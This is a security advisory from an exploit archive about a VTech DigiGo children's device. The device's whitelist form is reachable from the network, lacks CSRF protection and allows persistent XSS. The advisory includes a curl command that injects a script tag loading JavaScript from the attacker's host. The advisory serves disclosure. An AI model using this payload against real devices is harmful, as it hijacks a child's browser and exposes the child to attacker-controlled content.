Twenty Year Anniversary

VTech DigiGo 83.60630 Browser Overlay Attack

VTech DigiGo 83.60630 Browser Overlay Attack
Posted Jan 15, 2018
Authored by Securify B.V., Sipke Mellema

VTech DigiGo with firmware 83.60630 suffers from a browser overlay attack vulnerability.

tags | exploit
MD5 | 77cea9e9382eded61fbed8053c84a2ad

VTech DigiGo 83.60630 Browser Overlay Attack

Change Mirror Download
------------------------------------------------------------------------
Multiple vulnerabilities in VTech DigiGo allow browser overlay attack
------------------------------------------------------------------------
Sipke Mellema, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
VTech's DigiGo is a hand held smart device for children. The device
contains a browser that allows children to connect to websites on a
whitelist. Attackers can remotely add an entry to the whitelist to
perform a persistent overlay attack on the browser app.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a VTech DigiGo running firmware version
83.60630. It is likely that other versions are also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
VTech pushed a firmware update to address this issue on 6 November,
2017. The firmware version still displays as 83.60630.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/multiple-vulnerabilities-in-vtech-digigo-allow-browser-overlay-attack.html

The internet browser of the DigiGo is designed for kids. Only whitelisted domains are allowed to be visited. The device contains an initial list of domains. When the browser is opened, a control menu is displayed. From the control menu a kid can visit websites from a whitelist. The control menu also includes the Parental Control menu, that allows adding domains to the whitelist. Both menu's are HTML pages running on a webserver on the DigiGo. The webserver gets started when opening the browser.

In the examples below the IP address of the DigiGo is 192.168.1.152, and the attacker has the IP address 192.168.1.142.


Parental control is accessible from the network

An internal webserver is started on the DigiGo when the browser is started. This webserver doesn't just listen on a loopback interface, but is accessible from anywhere on the network. The link for the Parental Control menu is:

http://192.168.1.152/wwwsrc/Parental_Control.html


Missing Cross-Site Request Forgery in domain whitelist form

The form to add domains to the whitelist does not require any authentication, and it's not protected against CSRF-attacks. These properties allow an attacker to remotely inject domains to the whitelist. To add a domain, a POST request is performed to:

http://192.168.1.152/UpdatePA.cgi


Persistent Cross-Site Scripting in domain whitelist

Domains in the whitelist have a title and a description. The title attribute can be injeted with malicious Javascript. Whitelisted domains are listed on the internal HTML page every time the browser is opened.
Putting it together


When the browser is started, a webserver is started on the DigiGo. The browser will display pages from its local webserver, and those pages include the whitelisted domains. Domains can be remotely injected to hijack the page on the internal webserver, allowing changes to the entire browser window.

If a device on the same network as the DigiGo visits an attacker controlled domain, it's possible to remotely attack the DigiGo via Cross-Site Request Forgery. For this attack to work the attacker has to know the DigiGo's IP address in advance, or scan the network via Javascript.

If the attacker is on the same network, injecting a domain with a malicious title is as simple as:

curl --data "ACTION=0&ITEMID=-1&TITLE=hax%3Cscript+src%3D%22http%3A%2F%2F192.168.1.142%3A1234%2Finject.js%22%2F%3E&URL=http%3A%2F%2Fwww.securify.nl&DOMAIN=securify.nl&ICON=nil&DESC=Injecting+backdoor+into+browser" http://192.168.1.152/cgi-bin/UpdatePA.cgi

The browser will now include Javascript from http://192.168.1.142:1234/inject.js every time the browser is opened, rendering the browser in control of the attacker.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    1 Files
  • 18
    Nov 18th
    1 Files
  • 19
    Nov 19th
    3 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close